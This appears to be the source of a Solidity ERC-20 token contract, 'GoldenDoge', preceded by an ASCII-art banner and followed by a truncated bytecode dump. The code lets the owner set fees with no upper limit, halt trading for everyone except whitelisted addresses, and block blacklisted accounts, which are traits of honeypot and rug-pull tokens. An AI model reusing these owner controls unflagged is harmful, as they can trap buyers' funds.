zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwf^^^^^^^^^^^^^^^^zjjjjjjjjjjjjjjjjjjjjjjjz^^^^^^^!~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwf^^^^^^^^^^^^^^^^JjjjjjjjjjjjjjjjjjjjjjjjJ^^^^^^^!~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzsfffffff{zzzzzzzi;;;;;;;;;;;;;;;;|\cccccctjjjjjjjJccccccc|;;;;;;;;~~~~~~~~~~~~~~~~;;;;;;;;!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^!~~~~~~~~~~~~~~~~!^^^^^^^ijjjjjjji^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^!~~~~~~~~~~~~~~~~!^^^^^^^ijjjjjjji^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^!~~~~~~~~~~~~~~~~!^^^^^^^ijjjjjjji^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^!~~~~~~~~~~~~~~~~;!!!!!!!*zzzzzzz*!!;!!!!;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;!!!!;!!!^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzztnnnnnnnu{}}}}{}7;!!!!!!;~~~~~~~~~~~~~~~~~~~~~~~~;!!!!!!!;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;!!!!!!!!^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^++++++++
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^<ffjjjjjj
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^<fjjjjjjj
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^<fjjjjjjj
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^<fjjjjjjj
GoldenDoge -
a DAO token for CubanDoge.io
69M totalSupply
No Buy Tax
25% Sell Tax goes to DAO and LP
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GoldenDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GoldenDoge";
string private constant _symbol = "GOLD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 69000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 25;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _daoAddress = payable(0xF627eE077Ad39E9d8F47c2b3cE881fF7c6F4B5FA);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 69000000 * 10**9; //0.3
uint256 public _maxWalletSize = 69000000 * 10**9; //1
uint256 public _swapTokensAtAmount = 69000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_daoAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_daoAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _daoAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _daoAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063c492f04611610064578063c492f0461461052d578063dd62ed3e1461054d578063ea1644d514610593578063f2fde38b146105b357600080fd5b8063a9059cbb14610498578063bdd795ef146104b8578063bfd79284146104e8578063c3c8cd801461051857600080fd5b80638f9a55c0116100d15780638f9a55c01461041557806395d89b411461042b57806398a5c31514610458578063a2a957bb1461047857600080fd5b80637d1db4a5146103c15780638da5cb5b146103d75780638f70ccf7146103f557600080fd5b8063313ce567116101645780636fc3eaec1161013e5780636fc3eaec1461035757806370a082311461036c578063715018a61461038c57806374010ece146103a157600080fd5b8063313ce567146102fb57806349bd5a5e146103175780636d8aa8f81461033757600080fd5b806318160ddd116101a057806318160ddd1461027f57806323b872dd146102a35780632f9c4569146102c35780632fd689e3146102e557600080fd5b806306fdde03146101d2578063095ea7b3146102175780631694505e1461024757600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152600a815269476f6c64656e446f676560b01b60208201525b60405161020e9190611a22565b60405180910390f35b34801561022357600080fd5b50610237610232366004611a8c565b6105d3565b604051901515815260200161020e565b34801561025357600080fd5b50601454610267906001600160a01b031681565b6040516001600160a01b03909116815260200161020e565b34801561028b57600080fd5b5066f52322698080005b60405190815260200161020e565b3480156102af57600080fd5b506102376102be366004611ab8565b6105ea565b3480156102cf57600080fd5b506102e36102de366004611b0e565b610653565b005b3480156102f157600080fd5b5061029560185481565b34801561030757600080fd5b506040516009815260200161020e565b34801561032357600080fd5b50601554610267906001600160a01b031681565b34801561034357600080fd5b506102e3610352366004611b43565b61073a565b34801561036357600080fd5b506102e36107a0565b34801561037857600080fd5b50610295610387366004611b5e565b6107cd565b34801561039857600080fd5b506102e36107ef565b3480156103ad57600080fd5b506102e36103bc366004611b7b565b610881565b3480156103cd57600080fd5b5061029560165481565b3480156103e357600080fd5b506000546001600160a01b0316610267565b34801561040157600080fd5b506102e3610410366004611b43565b6108ce565b34801561042157600080fd5b5061029560175481565b34801561043757600080fd5b5060408051808201909152600481526311d3d31160e21b6020820152610201565b34801561046457600080fd5b506102e3610473366004611b7b565b610934565b34801561048457600080fd5b506102e3610493366004611b94565b610981565b3480156104a457600080fd5b506102376104b3366004611a8c565b6109dd565b3480156104c457600080fd5b506102376104d3366004611b5e565b60116020526000908152604090205460ff1681565b3480156104f457600080fd5b50610237610503366004611b5e565b60106020526000908152604090205460ff1681565b34801561052457600080fd5b506102e36109ea565b34801561053957600080fd5b506102e3610548366004611bc6565b610a20565b34801561055957600080fd5b50610295610568366004611c4a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059f57600080fd5b506102e36105ae366004611b7b565b610adf565b3480156105bf57600080fd5b506102e36105ce366004611b5e565b610b2c565b60006105e0338484610c34565b5060015b92915050565b60006105f7848484610d58565b610649843361064485604051806060016040528060288152602001611dc9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112e9565b610c34565b5060019392505050565b6000546001600160a01b031633146106a05760405162461bcd60e51b81526020600482018190526024820152600080516020611df183398151915260448201526064015b60405180910390fd5b6001600160a01b03821660009081526011602052604090205460ff161515811515141561070f5760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e0000000000000000006044820152606401610697565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107825760405162461bcd60e51b81526020600482018190526024820152600080516020611df18339815191526044820152606401610697565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316146107c057600080fd5b476107ca81611323565b50565b6001600160a01b0381166000908152600260205260408120546105e490611361565b6000546001600160a01b031633146108375760405162461bcd60e51b81526020600482018190526024820152600080516020611df18339815191526044820152606401610697565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c95760405162461bcd60e51b81526020600482018190526024820152600080516020611df18339815191526044820152606401610697565b601655565b6000546001600160a01b031633146109165760405162461bcd60e51b81526020600482018190526024820152600080516020611df18339815191526044820152606401610697565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461097c5760405162461bcd60e51b81526020600482018190526024820152600080516020611df18339815191526044820152606401610697565b601855565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526020600482018190526024820152600080516020611df18339815191526044820152606401610697565b600893909355600a91909155600955600b55565b60006105e0338484610d58565b6013546001600160a01b0316336001600160a01b031614610a0a57600080fd5b6000610a15306107cd565b90506107ca816113e5565b6000546001600160a01b03163314610a685760405162461bcd60e51b81526020600482018190526024820152600080516020611df18339815191526044820152606401610697565b60005b82811015610ad9578160056000868685818110610a8a57610a8a611c83565b9050602002016020810190610a9f9190611b5e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610ad181611caf565b915050610a6b565b50505050565b6000546001600160a01b03163314610b275760405162461bcd60e51b81526020600482018190526024820152600080516020611df18339815191526044820152606401610697565b601755565b6000546001600160a01b03163314610b745760405162461bcd60e51b81526020600482018190526024820152600080516020611df18339815191526044820152606401610697565b6001600160a01b038116610bd95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610697565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610697565b6001600160a01b038216610cf75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610697565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dbc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610697565b6001600160a01b038216610e1e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610697565b60008111610e805760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610697565b6000546001600160a01b03848116911614801590610eac57506000546001600160a01b03838116911614155b8015610ed157506001600160a01b03831660009081526011602052604090205460ff16155b8015610ef657506001600160a01b03821660009081526011602052604090205460ff16155b156111e257601554600160a01b900460ff16610f9a576001600160a01b03831660009081526011602052604090205460ff16610f9a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610697565b601654811115610fec5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610697565b6001600160a01b03831660009081526010602052604090205460ff1615801561102e57506001600160a01b03821660009081526010602052604090205460ff16155b6110865760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610697565b6015546001600160a01b0383811691161461110b57601754816110a8846107cd565b6110b29190611cca565b1061110b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610697565b6000611116306107cd565b60185460165491925082101590821061112f5760165491505b8080156111465750601554600160a81b900460ff16155b801561116057506015546001600160a01b03868116911614155b80156111755750601554600160b01b900460ff165b801561119a57506001600160a01b03851660009081526005602052604090205460ff16155b80156111bf57506001600160a01b03841660009081526005602052604090205460ff16155b156111df576111cd826113e5565b4780156111dd576111dd47611323565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061122457506001600160a01b03831660009081526005602052604090205460ff165b8061125657506015546001600160a01b0385811691161480159061125657506015546001600160a01b03848116911614155b15611263575060006112dd565b6015546001600160a01b03858116911614801561128e57506014546001600160a01b03848116911614155b156112a057600854600c55600954600d555b6015546001600160a01b0384811691161480156112cb57506014546001600160a01b03858116911614155b156112dd57600a54600c55600b54600d555b610ad98484848461156e565b6000818484111561130d5760405162461bcd60e51b81526004016106979190611a22565b50600061131a8486611ce2565b95945050505050565b6013546040516001600160a01b03